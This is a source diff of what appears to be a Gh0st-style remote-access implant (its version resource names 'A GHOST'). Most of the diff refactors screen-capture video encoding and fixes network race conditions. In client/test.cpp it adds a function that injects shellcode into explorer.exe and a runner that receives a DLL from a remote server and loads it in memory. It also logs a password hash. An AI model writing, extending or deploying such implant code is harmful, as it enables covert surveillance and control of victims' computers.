+                   &userTimeoutMs, sizeof(userTimeoutMs)) < 0) {
+        Mprintf("Failed to set TCP_USER_TIMEOUT\n");
+        // 非致命：keep-alive 已设上，应用层还有 ACK 看门狗兜底，继续即可
+    }
+#endif
+
     Mprintf("TCP keep-alive settings applied successfully\n");
     return TRUE;
 }
@@ -197,6 +218,13 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
     m_ServerAddr = {};
     m_nHostPort = 0;
     m_Manager = NULL;
+    // 防御性初始化：避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
+    // 在调用方 setManagerCallBack() 之前就读到野指针。子连接（屏幕/键盘等）
+    // 走 LoopManager 模式时，new IOCPClient → ConnectServer 启动 Receive
+    // worker 与 Manager 构造（内含 setManagerCallBack）之间有 race window；
+    // 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
+    m_DataProcess = NULL;
+    m_ReconnectFunc = NULL;
     m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
     auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
     m_EncoderType = encoder;
@@ -649,11 +677,19 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
                     if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
                         //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
                         //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
+                        // 防御 race window：子连接 ConnectServer 触发 Receive 后，
+                        // 调用方 setManagerCallBack() 可能还没执行；丢弃这种早期包
+                        // 比让函数指针炸进 0xcdcdcd 强（pre-existing race，详见
+                        // 构造函数注释，长期需要在 ConnectServer 前 set callback）
+                        if (m_DataProcess == NULL) {
+                            Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
+                        } else {
                             int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
                             if (ret) {
                                 Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
                             }
                         }
+                    }
                 } else {
                     Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
                     // ReadBuffer 已消费当前包，不需要清空缓冲区

client/KernelManager.cpp

@@ -617,14 +617,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
 }
 
 #include "common/location.h"
-std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
+std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
 {
+    iniFile reg;
+    pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
+
     config* m_iniFile = nullptr;
 #ifdef _DEBUG
     m_iniFile = pwdHash == masterHash ? new config : new iniFile;
 #else
     m_iniFile = new iniFile;
 #endif
+    pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
     int bindType = m_iniFile->GetInt("settings", "BindType", 0);
     int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
     std::string master = m_iniFile->GetStr("settings", "master");
@@ -882,18 +886,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         // 扩大到 400 字节以容纳 V2 签名（约 92 字节）和 Authorization（约 150 字节）
         char buf[400] = {}, *passCode = buf + 5;
         memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
-        std::string masterHash(skCrypt(MASTER_HASH));
-        const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
         if (passCode[0] == 0) {
+            std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
             static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
             static std::string hashedID = hashSHA256(hardwareId);
             static std::string devId = getFixedLengthID(hashedID);
             memcpy(buf + 24, buf + 12, 8); // 消息签名
             memcpy(buf + 96, buf + 8, 4); // 时间戳
             memcpy(buf + 5, devId.c_str(), devId.length());		// 16字节
-            memcpy(buf + 32, pwdHash, 64);						// 64字节
+            memcpy(buf + 32, pwdHash.c_str(), 64);				// 64字节
             m_ClientObject->Send2Server((char*)buf, sizeof(buf));
-            Mprintf("Request for authorization update.\n");
+            Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
         } else {
             unsigned short* days = (unsigned short*)(buf + 1);
             unsigned short* num = (unsigned short*)(buf + 3);

client/ScreenCapture.h

@@ -13,8 +13,11 @@
 #include <condition_variable>
 #include <functional>
 #include <future>
+#include <memory>
 #include <emmintrin.h>  // SSE2
-#include "X264Encoder.h"
+#include "common/config.h"
+#include "VideoEncoderBase.h"
+#include "EncoderFactory.h"
 #include "ScrollDetector.h"
 #include "common/file_upload.h"
 
@@ -126,6 +129,7 @@ public:
     ULONG*			 m_BlockSizes;       // 分块差异像素数
     int				 m_BlockNum;         // 分块个数
     int				 m_SendQuality;		 // 发送质量
+    int              m_EncodeLevel;      // 编码级别
 
     LPBITMAPINFO     m_BitmapInfor_Full; // BMP信息
     LPBITMAPINFO     m_BitmapInfor_Send; // 发送的BMP信息
@@ -145,7 +149,7 @@ public:
     int              m_FrameID;          // 帧序号
     int              m_GOP;              // 关键帧间隔
     bool		     m_SendKeyFrame;	 // 发送关键帧
-    CX264Encoder	 *m_encoder;		 // 编码器
+    std::unique_ptr<VideoEncoderBase> m_encoder;  // 编码器，ensureEncoder() lazy 创建，走 EncoderFactory 探测
     int             m_nScreenCount;      // 屏幕数量
     BOOL            m_bEnableMultiScreen;// 多显示器支持
 
@@ -182,14 +186,14 @@ protected:
     int             m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
 
 public:
-    ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) :
+    ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE, int level = LEVEL_H264_SOFT) :
         m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
         m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo), m_SendQuality(100),
         m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
         m_FrameID(0), m_GOP(DEFAULT_GOP), m_iScreenX(0), m_iScreenY(0), m_biBitCount(n),
         m_SendKeyFrame(false), m_encoder(nullptr),
         m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
-        m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
+        m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1), m_EncodeLevel(level)
     {
         SetAlgorithm(algo);
         m_BitmapInfor_Send = nullptr;
@@ -256,7 +260,6 @@ public:
         SAFE_DELETE_ARRAY(m_BlockSizes);
 
         SAFE_DELETE(m_ThreadPool);
-        SAFE_DELETE(m_encoder);
         SAFE_DELETE(m_pScrollDetector);
     }
 
@@ -639,11 +642,10 @@ public:
         // 写入算法类型
         data[0] = algo;
 
-        // 写入光标位置
+        // 写入光标位置（虚拟桌面绝对坐标 → 发送坐标系）
         POINT CursorPos;
         GetCursorPos(&CursorPos);
-        CursorPos.x /= m_wZoom;
+        PointConversionInverse(CursorPos);
-        CursorPos.y /= m_hZoom;
         memcpy(data + 1, &CursorPos, sizeof(POINT));
 
         // 写入当前光标类型（支持自定义光标）
@@ -840,6 +842,19 @@ public:
         return bmpInfo;
     }
 
+    // 编码器 lazy 创建。委托 EncoderFactory 完成"硬编探测 + 软编 fallback"。
+    void ensureEncoder(int width, int height)
+    {
+        if (m_encoder) return;
+        EncoderRequest req;
+        req.width        = width;
+        req.height       = height;
+        req.fps          = 20;
+        req.bitrate_kbps = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
+        req.encodeLevel  = m_EncodeLevel;
+        m_encoder = CreateEncoder(req);
+    }
+
     // 算法+光标位置+光标类型
     virtual LPBYTE GetNextScreenData(ULONG* ulNextSendLength)
     {
@@ -851,11 +866,10 @@ public:
         // 写入使用了哪种算法
         memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
 
-        // 写入光标位置
+        // 写入光标位置（虚拟桌面绝对坐标 → 发送坐标系）
         POINT	CursorPos;
         GetCursorPos(&CursorPos);
-        CursorPos.x /= m_wZoom;
+        PointConversionInverse(CursorPos);
-        CursorPos.y /= m_hZoom;
         memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
 
         // 写入当前光标类型（支持自定义光标）
@@ -925,13 +939,12 @@ public:
                 uint8_t* encoded_data = nullptr;
                 uint32_t  encoded_size = 0;
                 int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
-                if (m_encoder == nullptr) {
+                ensureEncoder(width, height);
-                    m_encoder = new CX264Encoder();
+                if (!m_encoder) return nullptr;
-                    int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
+                m_encoder->forceIDR();  // 协议层 keyframe → 编码器强制 IDR，与 TOKEN_KEYFRAME 语义对齐
-                    m_encoder->open(width, height, 20, BitRateToCRF(br));
-                }
                 int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
-                if (err) {
+                // encoded_size == 0：硬编首帧延迟（avcodec_receive_packet 返回 EAGAIN），本帧无码流，按失败跳过
+                if (err || encoded_size == 0) {
                     return nullptr;
                 }
                 *ulNextSendLength = 1 + offset + encoded_size;
@@ -955,17 +968,28 @@ public:
                 uint8_t* encoded_data = nullptr;
                 uint32_t  encoded_size = 0;
                 int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
-                if (m_encoder == nullptr) {
+                ensureEncoder(width, height);
-                    m_encoder = new CX264Encoder();
+                if (!m_encoder) return nullptr;
-                    int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
+                // 应用层 skip 检测：硬编器（nvenc/qsv/amf/mf/av1_*）对静态画面 RC 偏弱，
-                    m_encoder->open(width, height, 20, BitRateToCRF(br));
+                // 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧"，让空闲流量长期
+                // 维持 100-200 KB/s（每 4s GOP 还叠加一个 IDR）。整帧 memcmp BGRA
+                // 找出真无变化帧直接跳过 encode，仅发 cursor；x264 走这里也省 CPU 无副作用。
+                LPBYTE prev = GetFirstBuffer();
+                ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
+                if (prev && memcmp(nextData, prev, bgraSize) == 0) {
+                    *ulNextSendLength = 1 + offset;   // 仅 cursor，无视频负载
+                    return m_RectBuffer;
                 }
                 int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
-                if (err) {
+                // encoded_size == 0：硬编首帧延迟，本帧无码流，按失败跳过
+                if (err || encoded_size == 0) {
                     return nullptr;
                 }
                 *ulNextSendLength = 1 + offset + encoded_size;
                 memcpy(data + offset, encoded_data, encoded_size);
+                // 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新，否则编码
+                // 失败时下一帧会误以为"已发"而漏发真实变化。
+                memcpy(prev, nextData, bgraSize);
                 break;
             }
             default:
@@ -1025,6 +1049,26 @@ public:
         pt.y += m_iScreenY;
     }
 
+    // 鼠标位置反向转换：将客户端绝对坐标（GetCursorPos）转换为发送坐标系，逐项是 PointConversion 的逆
+    virtual void PointConversionInverse(POINT& pt) const
+    {
+        // 3'. 减去屏幕偏移（多显示器）
+        pt.x -= m_iScreenX;
+        pt.y -= m_iScreenY;
+        // 2'. 反向 DPI 缩放
+        if (m_bZoomed) {
+            pt.x = (LONG)(pt.x / m_wZoom);
+            pt.y = (LONG)(pt.y / m_hZoom);
+        }
+        // 1'. full → send 缩放（位图下采样传输时）
+        int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
+        int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
+        if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
+            pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
+            pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
+        }
+    }
+
     // 获取位图结构信息
     virtual const LPBITMAPINFO& GetBIData() const
     {

client/ScreenCapturerDXGI.h

@@ -25,7 +25,8 @@ private:
     BYTE* m_NextBuffer = nullptr;
 
 public:
-    ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
+    ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT) 
+        : ScreenCapture(32, algo, all, level)
     {
         m_GOP = gop;
         InitDXGI(all);

client/ScreenManager.cpp

@@ -100,7 +100,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
     extern ClientApp g_MyApp;
     SetConnection(g_MyApp.g_Connection);  // 同时设置 m_conn 和 m_MyClientID
     CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
-    InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, 
+    m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
+    if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, 
         main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
 #endif
     m_isGDI = TRUE;
@@ -153,6 +154,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
     m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
     m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
     m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0);  // 默认禁用音频
+    m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
 
     LoadQualityProfiles();  // 加载质量配置
 
@@ -518,18 +520,18 @@ void CScreenManager::InitScreenSpy()
     SAFE_DELETE(m_ScreenSpyObject);
     if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
         m_isGDI = FALSE;
-        auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
+        auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
         if (s->IsInitSucceed()) {
             m_ScreenSpyObject = s;
         } else {
             SAFE_DELETE(s);
             m_isGDI = TRUE;
-            m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
+            m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
             Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
         }
     } else {
         m_isGDI = TRUE;
-        m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
+        m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
     }
 }
 
@@ -718,6 +720,7 @@ VOID CScreenManager::SendBitMapInfo()
 CScreenManager::~CScreenManager()
 {
     Mprintf("ScreenManager 析构函数\n");
+    if (!m_Signature.empty())
         UninitFileUpload();
     m_bIsWorking = FALSE;
     m_bAudioThreadRunning = FALSE;  // 停止音频线程
@@ -815,6 +818,14 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         m_ClientObject->StopRunning();
         break;
     }
+    case COMMAND_ENCODE_LEVEL: {
+        int encodeLevel = szBuffer[1];
+        iniFile cfg(CLIENT_PATH);
+        cfg.SetInt("settings", "EncodeLevel", encodeLevel);
+        Mprintf("[CScreenManager] Change Encode Level: %d -> %d\n", m_ScreenSettings.EncodeLevel, encodeLevel);
+        m_ScreenSettings.EncodeLevel = encodeLevel;
+        break;
+    }
     case COMMAND_SWITCH_SCREEN: {
         SwitchScreen();
         break;

client/ScreenManager.h

@@ -90,7 +90,7 @@ public:
     uint64_t            m_nReconnectTime = 0; // 重连开始时间
     uint64_t            m_DlgID = 0;
     BOOL                m_SendFirst = FALSE;
-
+    std::string         m_Signature;
     // 虚拟桌面
     BOOL                m_virtual;
     POINT               m_point;

client/ScreenSpy.cpp

@@ -12,8 +12,8 @@
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
 
-CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
+CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level) :
-    ScreenCapture(ulbiBitCount, algo, all)
+    ScreenCapture(ulbiBitCount, algo, all, level)
 {
     m_GOP = gop;
 

client/ScreenSpy.h

@@ -97,7 +97,7 @@ protected:
     EnumHwndsPrintData		m_data;
 
 public:
-    CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
+    CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT);
 
     virtual ~CScreenSpy();
 

client/Script.rc

@@ -13,7 +13,7 @@
 #undef APSTUDIO_READONLY_SYMBOLS
 
 /////////////////////////////////////////////////////////////////////////////
-// 中文(简体，中国) resources
+// 中文(简体，中国) resources
 
 #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
 LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
@@ -88,7 +88,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //
 
 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,3,3
+ FILEVERSION 1,0,3,5
  PRODUCTVERSION 1,0,0,1
  FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
         BEGIN
             VALUE "CompanyName", "FUCK THE UNIVERSE"
             VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.3.3"
+            VALUE "FileVersion", "1.0.3.5"
             VALUE "InternalName", "ServerDll.dll"
             VALUE "LegalCopyright", "Copyright (C) 2019-2026"
             VALUE "OriginalFilename", "ServerDll.dll"
@@ -132,7 +132,7 @@ IDI_ICON_MAIN           ICON                    "Res\\ghost.ico"
 
 IDI_ICON_MSG            ICON                    "Res\\msg.ico"
 
-#endif    // 中文(简体，中国) resources
+#endif    // 中文(简体，中国) resources
 /////////////////////////////////////////////////////////////////////////////
 
 

client/VideoEncoderBase.h

@@ -0,0 +1,59 @@
+#pragma once
+#include <cstdint>
+
+// 视频编码器抽象接口
+// Step 0: 仅 CX264Encoder 实现；后续 CFFmpegH264Encoder / CFFmpegAV1Encoder 接入
+// 详见 docs/HardwareEncoding_Design.md
+
+enum class VideoCodec {
+    H264,
+    AV1,
+};
+
+enum class RateControl {
+    CRF,        // x264 软编用 CRF (0-51, 越小越好)
+    BITRATE,    // 硬编路径用目标码率 (kbps)
+};
+
+struct EncoderParams {
+    int width        = 0;
+    int height       = 0;
+    int fps          = 30;
+    RateControl rc   = RateControl::BITRATE;
+    int crf          = 23;      // 当 rc == CRF
+    int bitrate_kbps = 4000;    // 当 rc == BITRATE
+    int gop_seconds  = 15;      // 关键帧间隔（秒），与 x264 i_keyint_max=fps*15 对齐
+};
+
+class VideoEncoderBase {
+public:
+    virtual ~VideoEncoderBase() = default;
+
+    virtual bool open(const EncoderParams& params) = 0;
+    virtual void close() = 0;
+
+    // 编码一帧
+    // rgb       : 输入像素数据
+    // bpp       : 24 (RGB) / 32 (BGRA)
+    // stride    : 源行字节数
+    // width/height : 图像尺寸
+    // lppData   : 输出指针，指向编码后码流（生命周期归编码器，下一次 encode 失效）
+    // lpSize    : 输出码流字节数；返回 0 表示成功但本帧无输出（硬编首帧延迟）
+    // direction : 1 = 上下不翻转，-1 = 翻转（适配 Windows BMP bottom-up）
+    // 返回 0 = 成功；< 0 = 失败
+    virtual int encode(
+        uint8_t* rgb,
+        uint8_t  bpp,
+        uint32_t stride,
+        uint32_t width,
+        uint32_t height,
+        uint8_t** lppData,
+        uint32_t* lpSize,
+        int direction = 1
+    ) = 0;
+
+    virtual void forceIDR() = 0;
+    virtual void setBitrate(int kbps) {}        // 可选实现，默认 no-op
+    virtual VideoCodec codec() const = 0;
+    virtual const char* backendName() const = 0;  // "x264" / "h264_nvenc" / "av1_amf" ...
+};

client/X264Encoder.cpp

@@ -3,10 +3,11 @@
 #include <stdio.h>
 
 #if DISABLE_X264_FOR_TEST
-CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
+CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; m_forceIDR = false; }
 CX264Encoder::~CX264Encoder() {}
 bool CX264Encoder::open(int, int, int, int) { return false; }
 bool CX264Encoder::open(x264_param_t*) { return false; }
+bool CX264Encoder::open(const EncoderParams&) { return false; }
 void CX264Encoder::close() {}
 int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
 
@@ -25,6 +26,7 @@ CX264Encoder::CX264Encoder()
     m_pCodec = NULL;
     m_pPicIn = NULL;
     m_pPicOut = NULL;
+    m_forceIDR = false;
 }
 
 
@@ -88,6 +90,14 @@ bool CX264Encoder::open(x264_param_t * param)
 }
 
 
+bool CX264Encoder::open(const EncoderParams& params)
+{
+    // x264 软编只支持 CRF；调用方走 BITRATE 时降级为 CRF=23（与 BitRateToCRF 默认一致）
+    int crf = (params.rc == RateControl::CRF) ? params.crf : 23;
+    return open(params.width, params.height, params.fps, crf);
+}
+
+
 void CX264Encoder::close()
 {
     if (m_pCodec) {
@@ -146,6 +156,12 @@ int CX264Encoder::encode(
         return -2;
     }
 
+    if (m_forceIDR) {
+        m_pPicIn->i_type = X264_TYPE_IDR;
+        m_forceIDR = false;
+    } else {
+        m_pPicIn->i_type = X264_TYPE_AUTO;
+    }
 
     encode_size = x264_encoder_encode(
                       m_pCodec,

client/X264Encoder.h

@@ -1,25 +1,30 @@
 #pragma once
 
+#include "VideoEncoderBase.h"
+
 extern "C" {
 #include <libyuv\libyuv.h>
 #include <x264\x264.h>
 }
 
-#define DISABLE_X264_FOR_TEST 0
+#include "common/config.h"
 
-class CX264Encoder
+class CX264Encoder : public VideoEncoderBase
 {
 private:
     x264_t*	m_pCodec;		//编码器实例
     x264_picture_t *m_pPicIn;
     x264_picture_t *m_pPicOut;
     x264_param_t    m_Param;
+    bool            m_forceIDR;  // 下一次 encode 强制 IDR
 public:
+    // 旧签名保留：被 ScreenCapture 临时直接调；新增 EncoderParams overload 走接口路径
     bool open(int width, int height, int fps, int crf);
     bool open(x264_param_t * param);
 
-    void close();
+    // VideoEncoderBase
-
+    bool open(const EncoderParams& params) override;
+    void close() override;
     int encode(
         uint8_t * rgb,
         uint8_t   bpp,
@@ -29,9 +34,11 @@ public:
         uint8_t ** lppData,
         uint32_t * lpSize,
         int        direction = 1
-    );
+    ) override;
+    void forceIDR() override { m_forceIDR = true; }
+    VideoCodec codec() const override { return VideoCodec::H264; }
+    const char* backendName() const override { return "x264"; }
 
     CX264Encoder();
-    ~CX264Encoder();
+    ~CX264Encoder() override;
 };
-

client/ghost_vs2015.vcxproj

@@ -130,7 +130,7 @@
       </EntryPointSymbol>
       <SubSystem>Console</SubSystem>
       <AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
-      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
+      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -177,7 +177,7 @@
       <AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
       <SubSystem>Windows</SubSystem>
       <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
-      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
+      <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>
@@ -218,6 +218,9 @@
     <ClCompile Include="ConPTYManager.cpp" />
     <ClCompile Include="StdAfx.cpp" />
     <ClCompile Include="SystemManager.cpp" />
+    <ClCompile Include="CFFmpegAV1Encoder.cpp" />
+    <ClCompile Include="CFFmpegH264Encoder.cpp" />
+    <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
@@ -266,7 +269,11 @@
     <ClInclude Include="ShellManager.h" />
     <ClInclude Include="ConPTYManager.h" />
     <ClInclude Include="StdAfx.h" />
+    <ClInclude Include="CFFmpegAV1Encoder.h" />
+    <ClInclude Include="CFFmpegH264Encoder.h" />
+    <ClInclude Include="EncoderFactory.h" />
     <ClInclude Include="SystemManager.h" />
+    <ClInclude Include="VideoEncoderBase.h" />
     <ClInclude Include="TalkManager.h" />
     <ClInclude Include="VideoCodec.h" />
     <ClInclude Include="VideoManager.h" />

client/test.cpp

@@ -10,7 +10,7 @@
 #include "auto_start.h"
 // A shell code loader connect to 127.0.0.1:6543.
 // Build: xxd -i TinyRun.dll > SCLoader.cpp
-#include "SCLoader.cpp"
+// #include "SCLoader.cpp"
 extern "C" {
 #include "reg_startup.h"
 #include "ServiceWrapper.h"
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
     }
 } PkgHeader;
 
+typedef int (*DllCallback)(BYTE* dll, int size);
+
 // Memory DLL runner.
 class MemoryDllRunner : public DllRunner
 {
 protected:
+    int m_payloadType = MEMORYDLL;
+    DllCallback m_callback = nullptr;
     HMEMORYMODULE m_mod;
     std::string GetIPAddress(const std::string& hostName)
     {
@@ -107,7 +111,7 @@ protected:
         return std::string(ipStr);
     }
 public:
-    MemoryDllRunner() : m_mod(nullptr) {}
+    MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
     virtual const char* ReceiveDll(int &size)
     {
         WSADATA wsaData = {};
@@ -146,9 +150,9 @@ public:
                 continue;
             }
 #ifdef _DEBUG
-            char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
+            char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
 #else
-            char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
+            char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
 #endif
             memcpy(command + 4, __DATE__, 11);  // 发送版本日期用于大 DLL 检查
             memcpy(command + 32, hash.c_str(), min(32, hash.length()));
@@ -244,6 +248,9 @@ public:
             strcpy(addr->installDir, g_ConnectAddress.installDir);
             strcpy(addr->installName, g_ConnectAddress.installName);
         }
+        if (m_callback) {
+            m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
+        }
         m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
         SAFE_DELETE_ARRAY(buffer);
         return m_mod;
@@ -259,6 +266,37 @@ public:
     }
 };
 
+int InjectShellcode(BYTE* buf, int len) {
+    ShellcodeInj inj(buf, len);
+    int pid = 0;
+    hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
+    do {
+        if (sizeof(void*) == 4) // Shell code is 64bit
+            return 1;
+        if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
+            return 2;
+        }
+        HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
+        if (hProcess == NULL) {
+            return 3;
+        }
+        Mprintf("Inject process [%d] succeed.\n", pid);
+        HANDLE handles[2] = { hProcess, hEvent };
+        DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
+        if (status == 1) {
+            Mprintf("结束运行.\n");
+            Sleep(1000);
+            TerminateProcess(hProcess, -1);
+            SAFE_CLOSE_HANDLE(hEvent);
+        }
+        SAFE_CLOSE_HANDLE(hProcess);
+        Mprintf("Process [%d] is finished.\n", pid);
+        Sleep(1000);
+        if (status == 1)
+            ExitProcess(0);
+    } while (pid);
+}
+
 // @brief 首先读取settings.ini配置文件，获取IP和端口.
 // [settings]
 // localIp=XXX
@@ -317,44 +355,6 @@ int main(int argc, const char *argv[])
         g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
     }
 
-    // 此 Shell code 连接本机6543端口，注入到任务管理器
-    if (g_ConnectAddress.iStartup == Startup_InjSC) {
-        // Try to inject shell code to `notepad.exe`
-        // If failed then run memory DLL
-        ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
-        int pid = 0;
-        hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
-        do {
-            if (sizeof(void*) == 4) // Shell code is 64bit
-                break;
-            if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
-                break;
-            }
-            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
-            if (hProcess == NULL) {
-                break;
-            }
-            Mprintf("Inject process [%d] succeed.\n", pid);
